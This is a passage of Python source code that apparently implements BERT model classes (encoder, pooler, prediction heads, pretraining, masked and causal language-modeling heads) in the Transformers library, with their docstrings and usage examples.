self.feed_forward_chunk, self.chunk_size_feed_forward, self.seq_len_dim, attention_output
)
outputs = (layer_output,) + outputs
# if decoder, return the attn key/values as the last output
if self.is_decoder:
outputs = outputs + (present_key_value,)
return outputs
def feed_forward_chunk(self, attention_output):
intermediate_output = self.intermediate(attention_output)
layer_output = self.output(intermediate_output, attention_output)
return layer_output
class BertEncoder(nn.Module):
def __init__(self, config):
super().__init__()
self.config = config
self.layer = nn.ModuleList([BertLayer(config) for _ in range(config.num_hidden_layers)])
self.gradient_checkpointing = False
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_values: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = False,
output_hidden_states: Optional[bool] = False,
return_dict: Optional[bool] = True,
) -> Union[Tuple[torch.Tensor], BaseModelOutputWithPastAndCrossAttentions]:
all_hidden_states = () if output_hidden_states else None
all_self_attentions = () if output_attentions else None
all_cross_attentions = () if output_attentions and self.config.add_cross_attention else None
next_decoder_cache = () if use_cache else None
for i, layer_module in enumerate(self.layer):
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_head_mask = head_mask[i] if head_mask is not None else None
past_key_value = past_key_values[i] if past_key_values is not None else None
if self.gradient_checkpointing and self.training:
if use_cache:
logger.warning_once(
"`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`..."
)
use_cache = False
def create_custom_forward(module):
def custom_forward(*inputs):
return module(*inputs, past_key_value, output_attentions)
return custom_forward
layer_outputs = torch.utils.checkpoint.checkpoint(
create_custom_forward(layer_module),
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
)
else:
layer_outputs = layer_module(
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
past_key_value,
output_attentions,
)
hidden_states = layer_outputs[0]
if use_cache:
next_decoder_cache += (layer_outputs[-1],)
if output_attentions:
all_self_attentions = all_self_attentions + (layer_outputs[1],)
if self.config.add_cross_attention:
all_cross_attentions = all_cross_attentions + (layer_outputs[2],)
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(
v
for v in [
hidden_states,
next_decoder_cache,
all_hidden_states,
all_self_attentions,
all_cross_attentions,
]
if v is not None
)
return BaseModelOutputWithPastAndCrossAttentions(
last_hidden_state=hidden_states,
past_key_values=next_decoder_cache,
hidden_states=all_hidden_states,
attentions=all_self_attentions,
cross_attentions=all_cross_attentions,
)
class BertPooler(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.activation = nn.Tanh()
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
pooled_output = self.dense(first_token_tensor)
pooled_output = self.activation(pooled_output)
return pooled_output
class BertPredictionHeadTransform(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
if isinstance(config.hidden_act, str):
self.transform_act_fn = ACT2FN[config.hidden_act]
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
class BertLMPredictionHead(nn.Module):
def __init__(self, config):
super().__init__()
self.transform = BertPredictionHeadTransform(config)
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False)
self.bias = nn.Parameter(torch.zeros(config.vocab_size))
# Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
self.decoder.bias = self.bias
def forward(self, hidden_states):
hidden_states = self.transform(hidden_states)
hidden_states = self.decoder(hidden_states)
return hidden_states
class BertOnlyMLMHead(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = BertLMPredictionHead(config)
def forward(self, sequence_output: torch.Tensor) -> torch.Tensor:
prediction_scores = self.predictions(sequence_output)
return prediction_scores
class BertOnlyNSPHead(nn.Module):
def __init__(self, config):
super().__init__()
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, pooled_output):
seq_relationship_score = self.seq_relationship(pooled_output)
return seq_relationship_score
class BertPreTrainingHeads(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = BertLMPredictionHead(config)
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, sequence_output, pooled_output):
prediction_scores = self.predictions(sequence_output)
seq_relationship_score = self.seq_relationship(pooled_output)
return prediction_scores, seq_relationship_score
class BertPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = BertConfig
load_tf_weights = load_tf_weights_in_bert
base_model_prefix = "bert"
supports_gradient_checkpointing = True
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
if isinstance(module, nn.Linear):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.Embedding):
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.padding_idx is not None:
module.weight.data[module.padding_idx].zero_()
elif isinstance(module, nn.LayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
def _set_gradient_checkpointing(self, module, value=False):
if isinstance(module, BertEncoder):
module.gradient_checkpointing = value
@dataclass
class BertForPreTrainingOutput(ModelOutput):
"""
Output type of [`BertForPreTraining`].
Args:
loss (*optional*, returned when `labels` is provided, `torch.FloatTensor` of shape `(1,)`):
Total loss as the sum of the masked language modeling loss and the next sequence prediction
(classification) loss.
prediction_logits (`torch.FloatTensor` of shape `(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
seq_relationship_logits (`torch.FloatTensor` of shape `(batch_size, 2)`):
Prediction scores of the next sequence prediction (classification) head (scores of True/False continuation
before SoftMax).
hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[torch.FloatTensor] = None
prediction_logits: torch.FloatTensor = None
seq_relationship_logits: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
BERT_START_DOCSTRING = r"""
This model inherits from [`PreTrainedModel`]. Check the superclass documentation for the generic methods the
library implements for all its model (such as downloading or saving, resizing the input embeddings, pruning heads
etc.)
This model is also a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) subclass.
Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage
and behavior.
Parameters:
config ([`BertConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.
"""
BERT_INPUTS_DOCSTRING = r"""
Args:
input_ids (`torch.LongTensor` of shape `({0})`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.FloatTensor` of shape `({0})`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
token_type_ids (`torch.LongTensor` of shape `({0})`, *optional*):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in `[0,
1]`:
- 0 corresponds to a *sentence A* token,
- 1 corresponds to a *sentence B* token.
[What are token type IDs?](../glossary#token-type-ids)
position_ids (`torch.LongTensor` of shape `({0})`, *optional*):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range `[0,
config.max_position_embeddings - 1]`.
[What are position IDs?](../glossary#position-ids)
head_mask (`torch.FloatTensor` of shape `(num_heads,)` or `(num_layers, num_heads)`, *optional*):
Mask to nullify selected heads of the self-attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (`torch.FloatTensor` of shape `({0}, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation. This
is useful if you want more control over how to convert `input_ids` indices into associated vectors than the
model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
@add_start_docstrings(
"The bare Bert Model transformer outputting raw hidden-states without any specific head on top.",
BERT_START_DOCSTRING,
)
class BertModel(BertPreTrainedModel):
"""
The model can behave as an encoder (with only self-attention) as well as a decoder, in which case a layer of
cross-attention is added between the self-attention layers, following the architecture described in [Attention is
all you need](https://arxiv.org/abs/1706.03762) by Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit,
Llion Jones, Aidan N. Gomez, Lukasz Kaiser and Illia Polosukhin.
To behave as an decoder the model needs to be initialized with the `is_decoder` argument of the configuration set
to `True`. To be used in a Seq2Seq model, the model needs to initialized with both `is_decoder` argument and
`add_cross_attention` set to `True`; an `encoder_hidden_states` is then expected as an input to the forward pass.
"""
def __init__(self, config, add_pooling_layer=True):
super().__init__(config)
self.config = config
self.embeddings = BertEmbeddings(config)
self.encoder = BertEncoder(config)
self.pooler = BertPooler(config) if add_pooling_layer else None
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self):
return self.embeddings.word_embeddings
def set_input_embeddings(self, value):
self.embeddings.word_embeddings = value
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
for layer, heads in heads_to_prune.items():
self.encoder.layer[layer].attention.prune_heads(heads)
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=BaseModelOutputWithPoolingAndCrossAttentions,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
encoder_hidden_states: Optional[torch.Tensor] = None,
encoder_attention_mask: Optional[torch.Tensor] = None,
past_key_values: Optional[List[torch.FloatTensor]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], BaseModelOutputWithPoolingAndCrossAttentions]:
r"""
encoder_hidden_states (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
past_key_values (`tuple(tuple(torch.FloatTensor))` of length `config.n_layers` with each tuple having 4 tensors of shape `(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`).
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if self.config.is_decoder:
use_cache = use_cache if use_cache is not None else self.config.use_cache
else:
use_cache = False
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
batch_size, seq_length = input_shape
device = input_ids.device if input_ids is not None else inputs_embeds.device
# past_key_values_length
past_key_values_length = past_key_values[0][0].shape[2] if past_key_values is not None else 0
if attention_mask is None:
attention_mask = torch.ones(((batch_size, seq_length + past_key_values_length)), device=device)
if token_type_ids is None:
if hasattr(self.embeddings, "token_type_ids"):
buffered_token_type_ids = self.embeddings.token_type_ids[:, :seq_length]
buffered_token_type_ids_expanded = buffered_token_type_ids.expand(batch_size, seq_length)
token_type_ids = buffered_token_type_ids_expanded
else:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
extended_attention_mask: torch.Tensor = self.get_extended_attention_mask(attention_mask, input_shape)
# If a 2D or 3D attention mask is provided for the cross-attention
# we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]
if self.config.is_decoder and encoder_hidden_states is not None:
encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states.size()
encoder_hidden_shape = (encoder_batch_size, encoder_sequence_length)
if encoder_attention_mask is None:
encoder_attention_mask = torch.ones(encoder_hidden_shape, device=device)
encoder_extended_attention_mask = self.invert_attention_mask(encoder_attention_mask)
else:
encoder_extended_attention_mask = None
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
embedding_output = self.embeddings(
input_ids=input_ids,
position_ids=position_ids,
token_type_ids=token_type_ids,
inputs_embeds=inputs_embeds,
past_key_values_length=past_key_values_length,
)
encoder_outputs = self.encoder(
embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_extended_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(sequence_output) if self.pooler is not None else None
if not return_dict:
return (sequence_output, pooled_output) + encoder_outputs[1:]
return BaseModelOutputWithPoolingAndCrossAttentions(
last_hidden_state=sequence_output,
pooler_output=pooled_output,
past_key_values=encoder_outputs.past_key_values,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
cross_attentions=encoder_outputs.cross_attentions,
)
@add_start_docstrings(
"""
Bert Model with two heads on top as done during the pretraining: a `masked language modeling` head and a `next
sentence prediction (classification)` head.
""",
BERT_START_DOCSTRING,
)
class BertForPreTraining(BertPreTrainedModel):
_keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias", r"cls.predictions.decoder.weight"]
def __init__(self, config):
super().__init__(config)
self.bert = BertModel(config)
self.cls = BertPreTrainingHeads(config)
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=BertForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
next_sentence_label: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], BertForPreTrainingOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ...,
config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored (masked),
the loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
next_sentence_label (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence
pair (see `input_ids` docstring) Indices should be in `[0, 1]`:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
kwargs (`Dict[str, any]`, optional, defaults to *{}*):
Used to hide legacy arguments that have been deprecated.
Returns:
Example:
```python
>>> from transformers import AutoTokenizer, BertForPreTraining
>>> import torch
>>> tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")
>>> model = BertForPreTraining.from_pretrained("bert-base-uncased")
>>> inputs = tokenizer("Hello, my dog is cute", return_tensors="pt")
>>> outputs = model(**inputs)
>>> prediction_logits = outputs.prediction_logits
>>> seq_relationship_logits = outputs.seq_relationship_logits
```
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output, pooled_output = outputs[:2]
prediction_scores, seq_relationship_score = self.cls(sequence_output, pooled_output)
total_loss = None
if labels is not None and next_sentence_label is not None:
loss_fct = CrossEntropyLoss()
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), next_sentence_label.view(-1))
total_loss = masked_lm_loss + next_sentence_loss
if not return_dict:
output = (prediction_scores, seq_relationship_score) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return BertForPreTrainingOutput(
loss=total_loss,
prediction_logits=prediction_scores,
seq_relationship_logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""Bert Model with a `language modeling` head on top for CLM fine-tuning.""", BERT_START_DOCSTRING
)
class BertLMHeadModel(BertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
_keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias", r"cls.predictions.decoder.weight"]
def __init__(self, config):
super().__init__(config)
if not config.is_decoder:
logger.warning("If you want to use `BertLMHeadModel` as a standalone, add `is_decoder=True.`")
self.bert = BertModel(config, add_pooling_layer=False)
self.cls = BertOnlyMLMHead(config)
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=CausalLMOutputWithCrossAttentions,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
encoder_hidden_states: Optional[torch.Tensor] = None,
encoder_attention_mask: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
past_key_values: Optional[List[torch.Tensor]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], CausalLMOutputWithCrossAttentions]:
r"""
encoder_hidden_states (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the left-to-right language modeling loss (next word prediction). Indices should be in
`[-100, 0, ..., config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are
ignored (masked), the loss is only computed for the tokens with labels n `[0, ..., config.vocab_size]`
past_key_values (`tuple(tuple(torch.FloatTensor))` of length `config.n_layers` with each tuple having 4 tensors of shape `(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if labels is not None:
use_cache = False
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
lm_loss = None
if labels is not None:
# we are doing next-token prediction; shift prediction scores and input ids by one
shifted_prediction_scores = prediction_scores[:, :-1, :].contiguous()
labels = labels[:, 1:].contiguous()
loss_fct = CrossEntropyLoss()
lm_loss = loss_fct(shifted_prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((lm_loss,) + output) if lm_loss is not None else output
return CausalLMOutputWithCrossAttentions(
loss=lm_loss,
logits=prediction_scores,
past_key_values=outputs.past_key_values,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
cross_attentions=outputs.cross_attentions,
)
def prepare_inputs_for_generation(
self, input_ids, past_key_values=None, attention_mask=None, use_cache=True, **model_kwargs
):
input_shape = input_ids.shape
# if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly
if attention_mask is None:
attention_mask = input_ids.new_ones(input_shape)
# cut decoder_input_ids if past_key_values is used
if past_key_values is not None:
input_ids = input_ids[:, -1:]
return {
"input_ids": input_ids,
"attention_mask": attention_mask,
"past_key_values": past_key_values,
"use_cache": use_cache,
}
def _reorder_cache(self, past_key_values, beam_idx):
reordered_past = ()
for layer_past in past_key_values:
reordered_past += (tuple(past_state.index_select(0, beam_idx) for past_state in layer_past),)
return reordered_past
@add_start_docstrings("""Bert Model with a `language modeling` head on top.""", BERT_START_DOCSTRING)
class BertForMaskedLM(BertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
_keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias", r"cls.predictions.decoder.weight"]
def __init__(self, config):
super().__init__(config)
if config.is_decoder:
logger.warning(
"If you want to use `BertForMaskedLM` make sure `config.is_decoder=False` for "
"bi-directional self-attention."
)
self.bert = BertModel(config, add_pooling_layer=False)
self.cls = BertOnlyMLMHead(config)
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
expected_output="'paris'",
expected_loss=0.88,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
encoder_hidden_states: Optional[torch.Tensor] = None,
encoder_attention_mask: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], MaskedLMOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ...,
config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored (masked), the
loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
masked_lm_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss() # -100 index = padding token
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return MaskedLMOutput(
loss=masked_lm_loss,
logits=prediction_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def prepare_inputs_for_generation(self, input_ids, attention_mask=None, **model_kwargs):
input_shape = input_ids.shape
effective_batch_size = input_shape[0]
# add a dummy token
if self.config.pad_token_id is None:
raise ValueError("The PAD token should be defined for generation")
attention_mask = torch.cat([attention_mask, attention_mask.new_zeros((attention_mask.shape[0], 1))], dim=-1)
dummy_token = torch.full(
(effective_batch_size, 1), self.config.pad_token_id, dtype=torch.long, device=input_ids.device
)
input_ids = torch.cat([input_ids, dummy_token], dim=1)
return {"input_ids": input_ids, "attention_mask": attention_mask}
@add_start_docstrings(
"""Bert Model with a `next sentence prediction (classification)` head on top.""",
BERT_START_DOCSTRING,
)
class BertForNextSentencePrediction(BertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.bert = BertModel(config)
self.cls = BertOnlyNSPHead(config)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=NextSentencePredictorOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
**kwargs,
) -> Union[Tuple[torch.Tensor], NextSentencePredictorOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
(see `input_ids` docstring). Indices should be in `[0, 1]`:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
Returns:
Example:
```python
>>> from transformers import AutoTokenizer, BertForNextSentencePrediction
>>> import torch
>>> tokenizer = AutoTokenizer.from_pretrained("bert-base-uncased")
>>> model = BertForNextSentencePrediction.from_pretrained("bert-base-uncased")
>>> prompt = "In Italy, pizza served in formal settings, such as at a restaurant, is presented unsliced."
>>> next_sentence = "The sky is blue due to the shorter wavelength of blue light."
>>> encoding = tokenizer(prompt, next_sentence, return_tensors="pt")
>>> outputs = model(**encoding, labels=torch.LongTensor([1]))
>>> logits = outputs.logits
>>> assert logits[0, 0] < logits[0, 1] # next sentence was random
```
"""
if "next_sentence_label" in kwargs:
warnings.warn(
"The `next_sentence_label` argument is deprecated and will be removed in a future version, use"
" `labels` instead.",
FutureWarning,
)
